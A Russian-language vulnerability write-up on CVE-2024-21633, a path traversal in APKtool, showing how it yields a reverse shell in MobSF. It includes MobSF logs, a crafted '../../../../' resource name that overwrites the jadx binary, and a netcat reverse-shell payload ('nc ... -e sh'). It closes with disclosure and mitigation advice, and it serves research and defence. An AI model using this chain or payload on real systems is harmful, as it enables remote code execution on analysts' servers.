Недавно я обнаружил уязвимость в инструменте APKtool и сообщил о ней через систему GitHub Security Advisory. Для тех, кто не в курсе, многие проекты используют и зависят от APKtool. В этой статье я покажу влияние уязвимости CVE-2024-21633 на примере популярного в узких кругах инструменте MobSF.
Еще по теме: Подпись APK-файла с помощью APKtool
Что такое MobSF
MobSF (Mobile Security Framework) — инструмент для анализа безопасности мобильных приложений. Он поддерживает анализ как исходного кода, так и бинарных файлов (APK, IPA) для платформ Android и iOS. Тулза помогает выявлять уязвимости, ошибки конфигурации и проблемы с безопасностью, предоставляя детальные отчеты и рекомендации по их устранению.
Мы рассказывали про этот инструмент в статье «Использование MobSF для анализа APK-файлов».
Уязвимость CVE-2024-21633
Обнаруженная уязвимость позволяет записывать любые данные по относительному пути к "${decode target path}/res/". Наибольшую опасность представляет возможность удаленного выполнения кода (RCE). Однако есть одно «но» — записанный файл не является исполняемым.
Изначально у меня было две идеи:
- Перезаписать файлы инициализации оболочки, такие как .bashrc или .zshrc. Но для этого требуется, чтобы «целевой путь декодирования» находился в пользовательской папке, либо нужно знать (или перебирать) имя пользователя.
- Создать задание cron для запуска вредоносного скрипта, что требует привилегий root.
Но, что если нам повезет найти приложение, которое само меняет разрешения файла на исполняемые? И еще больше повезет, если оно затем запускает этот файл? И все это должно произойти после выполнения apktool. Именно такая ситуация сложилась с MobSF.
Эксплуатация CVE-2024-21633 в MobSF
MobSF использует jadx как часть статического анализа. Перед вызовом jadx через subprocess, MobSF меняет разрешения jadx на исполняемые.
Вот фрагмент лога, где последовательно вызываются apktool, chmod и jadx:
1 2 3 4 5 6 7 8 9 |
[INFO] 07/Jan/2024 20:44:16 - Getting AndroidManifest.xml from APK [INFO] 07/Jan/2024 20:44:16 - Converting AXML to XML [INFO] 07/Jan/2024 20:44:16 - executed command: /jdk-20.0.2/bin/java -jar -Djdk.util.zip.disableZip64ExtraFieldValidation=true /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/apktool_2.9.1.jar --match-original --frame-path /tmp -f -s d /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk -o /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/apktool_out . . . [INFO] 07/Jan/2024 20:44:20 - Decompiling to Java with jadx [INFO] 07/Jan/2024 20:44:20 - executed command: chmod +x /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx [INFO] 07/Jan/2024 20:44:20 - executed command: /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx -ds /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/java_source/ -q -r --show-bad-code /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk |
Мы будем использовать jadx в качестве цели, но нам нужен относительный путь от jadx до папки res. Мы можем получить его, используя в Python функцию os.path.relpath().
Наша базовая папка ресурсов:
1 |
/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/ |
Мы хотим перезаписать бинарный файл jadx по пути:
1 |
/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx |
1 2 3 4 5 |
import os jadx_path = "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx" res_base_path = "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/res" os.path.relpath(jadx_path, res_base_path) >>> '../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx' |
Наша полезная нагрузка будет находиться: в res/raw/jadx:
1 2 |
#!/bin/bash nc host.docker.internal 9001 -e sh |
Имя ресурса будет:
1 |
../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx |
Загружаем APK и ждем выполнения jadx.
И получаем реверс-шелл в Netcat.
Я сообщил об этом команде MobSF по электронной почте. Они быстро отреагировали и исправили проблему, обновив версию APKtool. Но поведение, связанное с предоставлением jadx прав на выполнение и его последующим запуском, все еще сохранилось.
Для защиты я бы рекомендовал установить фиксированные разрешения и сделать директорию недоступной для записи.
ПОЛЕЗНЫЕ ССЫЛКИ: